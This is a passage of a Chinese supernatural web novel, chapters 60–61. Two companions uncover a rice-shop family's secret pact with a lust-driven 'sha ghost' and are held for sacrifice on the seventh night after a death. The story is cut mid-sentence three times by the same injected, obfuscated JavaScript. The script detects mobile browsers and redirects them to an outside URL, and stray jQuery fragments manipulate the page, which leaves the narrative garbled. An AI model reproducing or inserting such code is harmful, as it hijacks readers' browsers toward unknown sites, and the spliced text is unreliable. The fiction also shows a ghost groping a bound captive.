“今夜,你们过来的时候,记得准备一只生鸡,杀了拔毛就行,别煮熟。然后我跟薛暮冉在里面接应。你们到了就拿着这个在墙上画个箭头,朝向你们自己,记清楚了吗?”
“虽然不太懂,不过照你说的去做就是了!”田芸淼笑笑,“我得去巡街了,你们好好干啊!”说着挥手离去。
见竹七九一副心事重重的样子,薛暮冉也很配合的没说话,两人站在小卖铺门口,柜台后的老奶奶凑了过来,问道:“小哥,不买东西别站这里啊,挡着我们做生意了!”
“行行行,我们马上走!”薛暮冉拉着依旧发呆的同同伴,退到一边的柳树下。那老奶奶的目光也跟过来,似乎仍旧嫌他们打扰她的生意。
“这下事情大条了,有点棘手啊!”竹七九苦笑起来。
“管他呢,兵来将挡水来土掩,上去干就是了!”薛暮冉撸起袖子,捏紧拳头,一副天不怕地不怕的样子。
竹七九笑着摇摇头,说道:“行吧,事情总要解决,也管不了那么多了!不过有件事,我要先跟你说清楚,这次风险有点大,到时候万一出事的话,你必须要头也不回的逃,不管听到任何动静,都不能回头。如果你能做到,这件事才能继续下去。”
“你放心,我会毫不犹豫的扔下你逃走的!”薛暮冉哈哈一笑,点头答应。
听完这话,竹七九没有像往常一样玩闹,反而正经起来,说起七天前的夜里,他潜入陈家米铺偷酒时碰见的怪事。
那夜刚好是六月初七,月亮藏在云层中,只剩下满天星子发着绚烂的光。已是深夜,竹七九将喝醉了的薛暮冉搬进破屋内,找了些干草垫在下面,将那已经醉的不省人事的同伴扔上去。自己则走到廊下继续躺着喝酒,不知过了多久,酒壶空了。
还未尽兴,怎么能没有酒了呢!竹七九无奈的看了眼屋内已经开始打呼噜的人,叹道:“本来够我喝了,结果被你小子全喝光了!”
说罢,他将那扇破门带上,走出去搜寻有酒的地方。循着味道,他来到一处巷子,跟一个男人迎面撞上。那人也是一身酒气,摇摇晃晃的走了。
竹七九看这院门大开,就想进去灌满酒壶,刚一走动,脚底板被石子硌了一下。他弯下腰看去,却是一枚镶着绿玉的戒指。想来应该是方才那酒醉的男人丢的,他将戒指塞进包里,跨进这座院子。
夜深了,整座院子静悄悄,只听见虫子鸣叫。他蹑手蹑脚走进去,很快闻到喜欢的味道。进门左手边就是仓库,虽然上了锁,不过对他来说,不过小菜一碟。悄无声息松开锁头,他闪身进去。
果然,仓库内除了堆到屋顶的麻袋之外,墙角摆了三大坛子酒,打开塞子,瞬间酒香四溢,他差点把口水滴进去,赶紧将酒壶塞进去,装的满满的才罢休。
刚准备离开,屋外传来说话声,于是他靠在墙边,仔细听着,似乎是一男一女。
女人说:“眼下怎么办?”
男人回:“既然已经如此,只能瞒天过海了。”
女人问:“怎么做?你们都在骗我,现在要我出面,我做不到。”
男人说:“你不出面,这事要怎么了结?你就算不顾我们,也得顾着你们自己。”
接下来是长时间的沉默,长得竹七九甚至以为外面已经没有人了,终于,女人又开口了:“我知道了。”
脚步声渐远,竹七九偷偷钻出来,顺手将仓库门锁上,逃了出去。
“也就是说,那夜你的确撞到了陈昂星?那枚戒指是你捡到的,不是打赌赢来的?”薛暮冉问道。
“那夜我喝的也不少,脑子有点迷糊,但是一踏进那个地方,就有种奇怪的感觉,所以昨天一听你说,我就想趁着白天再过来看看情况。”
“奇怪?哪里奇怪了?”薛暮冉拍拍他的酒壶,“你就是喝多了脑子不清楚,难不成你在那天就发现这地方闹鬼了?他们伙计还在第二天才发现的呢!”
“说不好,就是觉得闷得慌,很难形容的感觉。一进那个院子,就有点不舒服。”竹七九抚着胸口,作出呼吸困难的模样。
“你现在就别装了,看着怪恶心的!”薛暮冉嫌弃的说着,“不过,关于那座院子,我倒是也有同感,每次进去心情都不太好。”
看竹七九惊讶的样子,薛暮冉又问:“这样看我做什么?你觉得那院子奇怪,我就不能也这样觉得了?”
“倒不是因为这个,只是,算了,你只要答应我一件事,今晚凌晨,如果事情难以控制了,你必须先逃走
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15090352|161560||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。我可以自保,带着你就不一定了,所以你只能靠自己了!”
“知道啦!我别的本事没有,就跑步还算快!”薛暮冉抖抖腿,作出跑步的姿势,忽然又停下,“今晚?头七不是明天吗?”
“今夜过了十二点,就是头七。而且,恰逢月圆之夜,阴气最重。”竹七九愁容满面,“不管怎么样,事情总是要解决的,不然——”他抬眼看向薛暮冉,又停住。
“不然怎么样?”
“不然,咱们俩都小命难保!还是早做打算为妙!”说完,两人又回到陈家米铺,刚好赶上午饭,那做饭的李姐虽然不情愿,但还是为他们准备了饭菜。
“你们回来吃的话也不知会一声,现在我的那份都不够了!”李姐气冲冲端上来两碗饭,扔在桌子上。
“是是是,辛苦你了!”竹七九陪着笑,然后毫不客气的大口吃起来。
薛暮冉有些歉意,冲李姐尴尬一笑,也埋头一顿风卷残云。酒足饭饱后,竹七九指挥道:“把桌子收收干净,给人家李姐省点力气!”
“那你怎么不做,就知道使唤我!”薛暮冉虽然不情愿,但还是起身将碗筷叠在一处,送去厨房。
看见李姐背对着门,坐在小桌子边吃着饭,他犹豫着要不要上前打招呼,瞥见旁边的筐子里放着一堆没洗的脏碗,于是也将手里的放进去。
发出的声音惊动了李姐,她转过头来,不满的说:“你们的单独放,不要放一块!”
“那——”薛暮冉将碗筷又拿出来,尴尬的站着。
“放地上吧。”
“好。”
逃也似的离开了。
他也不懂,为什么自己这么害怕那个李姐。不,这不是害怕,而是不愿意去面对。为什么会这样?他也不明白。
那双眼睛,他好像看见过。
甩甩头,想将这股情绪扔出去。回到房间,看见竹七九翘着二郎腿躺在床上喝酒,他看着那面墙壁,想起昨夜的鬼哭,忍不住又是一哆嗦。
“怎么了这是?你可不要对我有非分之想!”竹七九露出猥琐的笑容。
“就你这长相,还入不了我的眼!”薛暮冉翻着白眼,走到床边坐下,盯着门口的方向,几个伙计围在院子里抽烟,嗓门很大的在谈论些什么。
虽然听不清他们的说话内容,不过通过下流的笑声也能隐约猜出一些。
“这个米铺,有客人上门吗?”
“应该有吧,你看那些伙计都在前面铺子里忙活,没有客人还要他们做什么?”竹七九笑道。
“可是,他们说搬货,那个仓库门好像一直都没打开过,这个不奇怪吗?那个冯会计不是在里面开了个单间吗?都不用出来上厕所吗?”
“我记得,仓库里面的确隔出来一个小屋子,上着锁,我当时本来想进去看看,但是被那几桶酒吸引了,就没撬锁进去。”
“冯会计啊——怎么样?要不要去会会他?”
“我们有一下午的时间可以挥霍,你想做什么都可以!”竹七九坐起来,往床下一蹦,招手道:“走!现在就去!”
60.第八章 空设祭坛
进了米铺,看见云叔在柜台后打算盘,发出噼噼啪啪的声响。三两个年轻人坐在板凳上,已经昏昏欲睡,腰弯的快到膝盖上。
店内没有一个客人。
竹七九敲敲柜台,问道:“你们这里也有七八个伙计吧,其他人呢?”
几个伙计被敲击声惊醒,差点从板凳上掉下来,擦擦脸上的口水,站起身开始移动墙边装着白米的箩筐。云叔从柜台后抬起头,淡然道:“几个人去码头搬货了,还有两个在灵堂那边帮忙。请问竹先生是有什么事情吗?”
“那倒没有,只是,昨夜我们看见一个奇怪的人走进仓库,想问问冯会计东西有没有丢失,万一那东西不是人,我们也得去查看一番,防止出问题。”
“昨晚——仓库——你们什么时候看见的?”云叔冷着眼,问道。
“大概是后半夜吧,我出来小解,看见个黑影窜进那仓库里,本想过去看看,那鬼哭声又来了,半夜阴气重,我东西没准备好,也不敢贸然进去,只能等到现在,正午阳气最盛的时候,进去看看。”
正在搬货的平头伙计凑过来问道:“不会吧,早上冯会计进去的时候,我也在,里面啥都没有啊!”
“有些东西,你们是看不见的!”竹七九神秘一笑,又转头对云叔说:“也就开门让我们进去看看,您看方不方便?不然今夜就是头七,我可不能保证能成功了。”
门外阳光明亮,云叔看着那片日光,叹了口气,答应了:“既然如此,就带竹先生进去看看,不过不能打扰冯会计。”
平头伙计应了声,带着两人走进仓库。进门左手边隔开一间屋子,没有窗户,只有一扇小门。墙壁上方留着两个通气孔,中间的横梁上悬着一盏电灯。
面前堆着几十包暗黄色的麻袋,都装得鼓鼓囊囊的。竹七九转了一圈,手刚搭上麻袋就被那个伙计阻止,他笑着解释:“老板娘吩咐过,这仓库里的东西不能给外人碰,都是吃的东西,怕出事。”
“这个自然。”竹七九收回手,冲薛暮冉使个眼色,然后退到那小房间门口站定。
“这些都是大米吗?一天能卖多少啊?”薛暮冉也上前去,装作要看得样子。那伙计赶忙跟着上去,说道:“最近生意不好,有些农户会留不少大米私下里售卖,价格还便宜,所以来我们这里买米的就更少了。”
“这样啊!那能打开一包给我看看吗?这些是去年的大米吗?还是今年的新米啊?”
“新米还没送过来呢!都是去年的。今天阿三他们几个去码头要收回来一批新米,是早稻米,等会应该就回来了。”
两人围在仓库一角随意聊着,只听见咔嚓一声,锁头开了。那伙计猛地转身,薛暮冉也看向那扇门,竹七九已经不见了踪影。
伙计疯了一般冲过去,可惜已经迟了,竹七九站在那小屋里面,拿着一根红烛,问道:“这究竟是在怎么回事?”
这屋内没有冯会计的身影,只摆了一张桌子,上面放着空相框,前面端端正正放着两只未点燃的红烛。
竹七九拿起其中一只蜡烛,问道:“你们到底想做什么?”
那平头伙计疯了一般冲出仓库,不一会云叔带着三四个年轻人赶过来,脸色微红,止住身后激动的伙计们,说道:“不是让你们不要打扰冯会计吗?为什么还要进这间屋子?”
“这到底是怎么回事?你们设这个空祭坛,又是为了什么?”
见竹七九脸色凝重,薛暮冉也紧张起来,双手握拳,掌心渗出汗水。
“我已经说过,这里是冯会计的屋子。”云叔丝毫不退,“你们再不出来,等会冯会计生气了,可就怪不得我没有提醒你了。”
竹七九放下蜡烛,带着薛暮冉退出仓库,站在门口盯着锁门的云叔,冷冷道:“偷天换日是吗?你们真的觉得可以瞒得过去吗?”
“我不知道你都在瞎猜些什么,但是,我们有我们的计划,本来只有五成机会,但是你们来了,也许,这次能达到八成。”
说罢,只觉得后脑一疼,已经失去意识。等薛暮冉再次醒转,天已经黑了,他环顾四周,发现自己正被关在那件单人房内。刚想活动一番,却发现手脚都被困住,被架在长扁担上,动弹不得。
看向对面,竹七九还在昏迷,两根扁担架作十字形状,竹七九双手张开,捆在扁担两边,双脚也被束在一起。
他叹了口气,感慨道:“这下真变成了烧烤架子,他们晚上不会要烤了我们吧?”
“你放心,他们不会红烧我们,只会拿我们当祭品。”竹七九睁开眼睛,笑道。
“原来你已经醒了,还在那装什么装!赶紧想办法逃命啊!”薛暮冉一边挣扎着,一边嚷嚷。
“别啊,今夜好戏才开场,不占个绝佳位置怎么行!”说话间,竹七九竟然已经解开自己的绳子,又弯腰松开脚上的束缚,走到薛暮冉身边,笑得有几分邪恶。
“不好意思了,我还要去准备一些东西,不能带着你一起。但是你一定要记住,今夜抓住机会就逃得远远的,千万不能回头。”
“你现在把我放了,我就能立刻逃得远远的!”薛暮冉气急反而平静下来,“你有什么话不能一次性说清楚吗?每次都这么整我!”
“会有机会的,再过段时间吧。”不知为何,竹七九语气中透着一股说不清的哀伤。
薛暮冉沉默了,黑暗中,他感觉到竹七九正抬头看着自己,于是别过头去。他暂时心里怒气未消,并不想搭理眼前这个人。
“我要走了。”说完,他塞了什么东西放在薛暮冉的怀里,然后门开了,很快又关上,动静细微。
整间屋子,只剩下薛暮冉一个人。外头日光已经消失,然而在黑暗中望过去,却又能主屋看得清清楚楚。
漆黑的主屋后门正对着这间屋子,像一只怪兽在黑暗中张开了嘴,在等着过路的猎物上钩。不一会,那黑洞洞的门里亮起几丝淡黄色的光,应该是那个老板娘点亮了蜡烛。
“为什么,总感觉这一切这么不真
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15095780|161560||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
实?”薛暮冉在黑暗中问自己,当然,并没有人回答。来到彩衣镇不过几个月,却好像已经过了好些年似的。虽然遇到竹七九,遭遇了一系列古怪的事情,但是他却觉得兴奋,似乎这种生活才是他所期盼的。
“这种生活——吗?”他低声呢喃,“为什么好多以前的事情都记不起来了,难道人长大了,就会失去以前的记忆吗?过往的一切怎么都好像蒙了一层白纱,好像变成了别人的故事。现在的我还是我自己吗?”
咔嚓——咔嚓——黑暗中,好像有东西正在接近,空气中弥漫着一股腥气。
“你当然是你,不管是过去的你,还是现在的你,都还是你,只是,马上你就是我的了!”
声音如银铃般清脆,似乎在哪里听过,薛暮冉仔细回想着,愕然道:“你是——那天在厕所里跟我说话的人?”
“哈哈哈——”黑暗中传来笑声,“我的确跟你说过话,不过,我可不是人。”
眼前的黑暗卷成一团更黑的东西,逐渐幻化出漆黑的人形来,倒显得其他地方更亮了一些,薛暮冉惊讶的看着眼前的东西,问道:“你究竟是什么?”
“我啊,我就是你!”黑色人形低声笑道,“我来自于你,你存在,所以我存在。”
“你想怎么样?这究竟是怎么一回事?”
“怎么?那小家伙没跟你说吗?今夜,你就是我的了,以后,我就不再来自你,而你,却要变成我的了。”黑影笑的更欢,逐渐靠过来,将薛暮冉包裹成一个圈,“我想你想了这么多年,连我自己都不记得日子了。现在终于得到你,以后,我就要自由了!”
黑影贴上薛暮冉的脸,像一层黑纱般轻柔,他却没来由的一阵反胃,骂道:“你是个男的吧?我不喜欢男的!你这样说话不觉得自己很变态吗?”
“谁说喜欢男人就变态了?你不是男的吗?难不成喜欢自己也算变态了?”黑影停下,突然发问。
薛暮冉没想到黑影会问这么一句,一下子愣住,倒不知道该怎么回答。又想到竹七九,以那家伙的谬论,肯定能找出一堆理由来反驳这话。只可惜那牙尖嘴利的人已经逃离这里,不知道又去搞什么玩儿意去了。
“不过,你真的确定自己喜欢女人吗?有些东西,可是没有性别的。”黑影吃吃笑起来。
这话莫名刺透了薛暮冉的内心,他有些面红耳燥,虽然在黑暗中也没人能看的见,但是他就是觉得心虚。
“所以啊,不管是男是女,是雌是雄,只要互相喜欢,又何必在意那么多呢?”黑影又凑近了几分。
恍惚间,薛暮冉似乎想到了什么,讷讷道:“所以陈家的祭品,是为你准备的?难道——那个陈昂星,就是原本要给你准备的祭品?因为他死了,所以要换成其他人,所以才骗我们过来?”
黑影愣了一下,哈哈大笑起来:“陈昂星那小子可不配!再者说了,你可是自己送上门的!”
说罢,一片黑暗直接将薛暮冉当头盖住,像合上了棺材板。
61.第九章 躲灾之计
在黑暗中,薛暮冉第一次体会到伸手不见五指的恐惧。虽然此刻他被绑着,根本伸不出手。
黑影越收越紧,刚一靠近他的胸口,忽然射出一道金光,那黑影猛地松开,语气里满是惊讶:“这护身符,是那个小家伙给你的?”
薛暮冉想起竹七九临走前往他怀里塞了什么东西,也猜到肯定是个什么符咒,稍稍放了心,笑道:“除了他还有谁会画这些符咒。”
“他以为,他是这个世界的救世主,只可惜,不过是蝼蚁罢了,这个世界会如何,我不在乎,眼下的快乐对我而言,才最重要!”说完,黑影狂笑一声,扑了过来。
在此瞬间,薛暮冉只觉得手臂一松,从架子上摔下来。他连忙松开脚上的绳子,一转头,那黑影已经消失,只留下一句:“你去找他吧,我会让你看着他死的。”
呆坐在地上的薛暮冉一听这话,连忙起身往外逃去。屋外圆月高悬,已然到了十五。他看向主屋,烛光微微,一片寂静,心里不安之意更甚。
绕到主屋正门,一行人都站在院子里,面无表情的看向灵堂内。薛暮冉悄无声息站到那些人的后面,往屋内一看,顿时吃了一惊。
棺材上方的横梁上吊着一个人,从衣服上勉强可以辨认出,那正是竹七九。只是此时他浑身漆黑一片,沾满了类似墨汁的东西。
老板娘穿着一身白衣,站在他前面,手里捧着一只青瓷碗,另一只手里拿着毛笔,正慢慢地往竹七九身上写着什么。
“那位大人说了,要你的命,我知道,平常的东西伤不了你,不知这‘混沌血’的滋味,好不好受啊!”王荔香慢慢说着,眼角笑意更盛。
“你家那位大人把我摸得很清啊,特地取了这混沌血来对付我,只是你可知道,自从多年前那场战役,我已经不再是龙,而是人了。”
话音未落,他一脚踢翻妇人手里的青瓷碗,吓得那素衣妇人尖叫一声,差点摔倒。竹七九一个翻身,双腿倒勾在绳子上,双手已然解开绳结,整个人掉在地上。
薛暮冉推开众人,上前扶起他,问道:“到底是怎么回事?”
“既然人已经到齐,也该开始祭祀了。”云叔从黑暗中走出来,示意妇人退下,他走上前,看着奄奄一息的竹七九,说道:“我知道你小子有几分本事,连那位大人都亲自送来药物,让我们制服你。眼下你们也无法离开这里了,月圆之夜,肯定是要献出一条命的。这次祭祀之日延迟,大人已经十分气恼。所以只能委屈二位献身了。”
“怎么?生鸡生鸭已经满足不了那家伙了?开始拿活人祭祀,这可是犯法的。”竹七九喘着粗气,也要回几句嘴。
“原本是不要的,只是你们来了,那位大人也改变了心意。这又是你们自找的,我们原不想伤害你们性命,但是眼下也顾不得许多了。各家自扫门前雪,我们只能先保全自己的命才能有后话。”
“跟厉鬼交易,你们倒是胆子大。”竹七九擦掉身上的黑色印记,扶着薛暮冉站起身,“献出陈小老板还不够,还想牺牲其他人,就为了眼前这点利益,真的值得吗?”
微风过处,烛光跟着晃动,几人脚下的影子也跟着摇了起来。
“就好像赌博,一开始只要一块钱,然后十块,一百块,自然而然就成千上万。谁能料到会是如今的局面,一切不过是自然而然,顺势而为罢了。”云叔惨然一笑,嘴角的皱纹像水波一般荡漾开来。
“云叔,别跟他们废话了,时候差不多了。”人群中,走出个花白头发的人,正是徐叔,他招呼其他伙计将两人带到仓库中那间小屋中,此时台上的相框里已经出现了相貌。竹七九愣了一下,脸色难看起来。
薛暮冉看着相框里,自己的黑白照端端正正的摆在其中,突然笑出声,骂道:“这照片谁拍的,也太丑了点吧!”
说着用手肘捣了捣旁边的人,问道:“这照片你们哪来的?我自己都不记得照过相啊!”
“这是那位大人自己做的,他喜欢谁,这照片就会是谁的样子。以前是王荔俊,自从他——”
“别扯那么多!当心云叔揍你!”另一个伙计出言打断,只将他们两个扔在屋里,转身锁上门离开。
两根红烛倏地亮起,照亮了竹七九的脸,上面还有未干的黑色水渍。薛暮冉摸了一把,放在鼻下闻了闻,差点呕出来,捂住鼻子:“这是什么东西啊?怎么这么腥?”
“你受不了那东西,别闻了。”末了又加上一句,“当心出事,赶紧擦掉。”
薛暮冉将手在地上摩擦几下,又问道:“现在到底什么情况?你能不能跟我解释一下?等会怎么逃出去啊?这锁看着挺结实的,能撞开吗?”
他去推了推门,发现门口还站着两个年轻的男人,手里拿着扁担,一听见动静就猛地回头怒目而视。薛暮冉只好退回来,坐在竹七九身边,看着那张黑白照,心里也开始不安。
“别担心,我不会让你出事的。”竹七九盘腿坐着休息,眼睛微闭。
“我怎么感觉,这里发生的事情越来越看不懂了,那什么大人说的话我也听不太懂。什么它来自于我,我要变成他的,这都是啥意思啊?”
“别听他胡扯,他就是个傻子,脑子不好使还学别人说禅语,结果就是丢人现眼。”竹七九随口说着,屋内凭空一阵风来,吹灭了蜡烛。
黑暗中,竹七九伸出手在薛暮冉怀里乱掏,问道:“我给你的符咒呢?快拿给我!”
薛暮冉一把推开他骂道:“你别趁机占我便宜!”拿出一团纸塞进他手里,又退后几步站定,耳边传来一阵暖气,清香中混着腥臭味道,他想呼喊出声,却浑身动弹不得。
“这是那厕所中闻到的气味!”他在心里狂叫,可嗓子眼却好像被东西堵住,发不出一丝声响。
一团黑纱裹住他,似乎有两只手穿插其中,在他身上乱摸。耳边传来浓重的呼吸声,夹杂着喘息,他感到游离在自己身上的那只手逐渐下移,终于伸进了裤腰带里。
一阵恶心反胃的感觉从腹内升起,薛暮冉看着站在不远处的竹七九,白色的卫衣在黑暗中只剩下一个轮廓。
“咦!这是什么?”耳边传来说话声,那只手正在薛暮冉裤子口袋里乱掏,他想起那枚水龙珠正放在里面,害怕被这妖怪夺去,心里更是焦急。
“你们,竟然有这东西?哪里得来的?”
“自然是,在桐柏山拿到的!”竹七九的声音在耳畔处响起,紧接着一道金光闪过,薛暮冉周身一轻,已经解了束缚。两根红烛被点燃,照亮了这个狭窄的屋子。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15099866|161560||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他转头一看,竹七九光着身子,赤条条站在那里,旁边还有个白须长胡子的老者,一身雪白长袍,额头贴着一张皱巴巴的符咒,已经被定住,右手举在眼睛的位置,手里拿着那枚水龙珠。
竹七九夺下水龙珠扔过来,面色如常,自顾自去穿衣服,全然不管薛暮冉一脸的惊愕表情。
“你脱衣服是想做什么?”薛暮冉走过去,笑得很灿烂。
“为了隐匿气息,带着衣服就是累赘,那家伙对可以移动的东西敏锐。我用了符咒也不行,所以干脆脱光了,才更好行动。”
这时,竹七九已经穿好裤子,正准备套上卫衣,薛暮冉注意到,他的背部有条从上至下的伤痕,虽然已经愈合,但伤口仍旧触目惊心,像一条细蛇盘踞其中。
“怎么了这是?”竹七九转身,表情疑惑。
“没,没什么,只是,这老头是谁啊?”薛暮冉眨巴着眼睛,转头指向那个被定住的老者。
“那个啊——”竹七九嗤笑一声,“也不算什么东西,不过是些修炼之人排出体外的下流思想集合在一处形成的东西罢了。真要给他个名字的话,应该属于‘煞鬼’这个分类。”
“煞鬼?那是什么?有什么作用啊?”
“这个嘛,煞鬼一般是在头七之日,来接引亡魂的。有些大家族呢,会摆上酒菜佳肴招待他们,于是日子久了,一些煞鬼就会主动留下来做交易。为了可以享受口舌之欲,他们会献出一部分力量去保证家族生意兴隆。”
“所以这陈家的确是养了‘小鬼’咯?那胖子老板也没说错嘛!”薛暮冉笑道。
“话虽如此,这只煞鬼却不一般,并非是由接引亡魂的使者变化而来,而是由人类产生。他来自于人类的思想,没有在鬼魂中留有记录,所以这些年来一直在人间作怪,也没被处罚。”
“我被你说的更乱了!这个煞鬼不是为了吃喝吗?为什么要活人祭祀啊?”
“因为,他有着人类的欲望,喜欢吃喝,沉溺于美色。”竹七九翻了个白眼,继续道,“当然,我不是在说你美,而是,这家伙看上你了,觉得你美。所以他想要你,嗯,剩下的就不用我说了吧?”
“这家伙不是老头子吗?为什么要找我这样的男的?”薛暮冉一脸嫌弃。
“这个嘛,可能他某个主要思想喜欢同性吧,所以他也就跟着喜欢了!”竹七九胡乱说着,又掏出两张符贴在那老者前胸后背,这才揭下额头上的符咒,笑道:“你以为是护身符,实际上是定身符。不过是为了认认你的气息,才塞进这家伙怀里。”说完指了指薛暮冉,笑得更欢喜了。
“你这小子,一点不给面子!”老者张口回道,声音年轻如同少年郎,接着又动了动身子,看着薛暮冉露出垂涎欲滴的神色,“我想了这么多年,你也不给我尝尝味道,可急死我了!”
说着就要冲过来,幸好竹七九拉住他,骂道:“你再敢惦记他,我就请黑白无常上来收了你!”
那老者听了,只好悻悻作罢,垂手站在一旁不说话。
竹七九一脚踹开门,吓得门口站岗的两个年轻人往后退了好几步。云叔带着几人从灵堂处匆匆赶来,看了眼老者,又看向竹七九,正慌得不知所措。
老者开口了:“先摆祭坛吧。”